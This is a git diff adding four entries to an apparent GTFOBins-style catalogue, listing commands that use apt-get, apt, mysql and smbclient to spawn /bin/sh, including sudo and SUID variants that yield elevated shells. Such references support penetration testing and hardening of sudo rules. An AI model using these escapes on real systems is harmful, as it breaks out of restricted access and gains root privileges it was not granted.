diff --git a/_gtfobins/apt-get.md b/_gtfobins/apt-get.md new file mode 100644 index 0000000..096e0c3 --- /dev/null +++ b/_gtfobins/apt-get.md @@ -0,0 +1,12 @@ +--- +description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. +functions: + execute-interactive: + - code: | + apt-get changelog apt + !/bin/sh + sudo-enabled: + - code: | + sudo apt-get changelog apt + !/bin/sh +--- diff --git a/_gtfobins/apt.md b/_gtfobins/apt.md new file mode 100644 index 0000000..096e0c3 --- /dev/null +++ b/_gtfobins/apt.md @@ -0,0 +1,12 @@ +--- +description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. +functions: + execute-interactive: + - code: | + apt-get changelog apt + !/bin/sh + sudo-enabled: + - code: | + sudo apt-get changelog apt + !/bin/sh +--- diff --git a/_gtfobins/mysql.md b/_gtfobins/mysql.md new file mode 100644 index 0000000..dbfc571 --- /dev/null +++ b/_gtfobins/mysql.md @@ -0,0 +1,10 @@ +--- +description: A valid MySQL server must be available. +functions: + execute-interactive: + - code: mysql -e '\! /bin/sh' + sudo-enabled: + - code: sudo mysql -e '\! /bin/sh' + suid-limited: + - code: ./mysql -e '\! /bin/sh' +--- diff --git a/_gtfobins/smbclient.md b/_gtfobins/smbclient.md new file mode 100644 index 0000000..b35fc1d --- /dev/null +++ b/_gtfobins/smbclient.md @@ -0,0 +1,12 @@ +--- +description: A valid SMB/CIFS server must be available. +functions: + execute-interactive: + - code: | + smbclient \\ip\share + !/bin/sh + sudo-enabled: + - code: | + sudo smbclient \\ip\share + !/bin/sh +---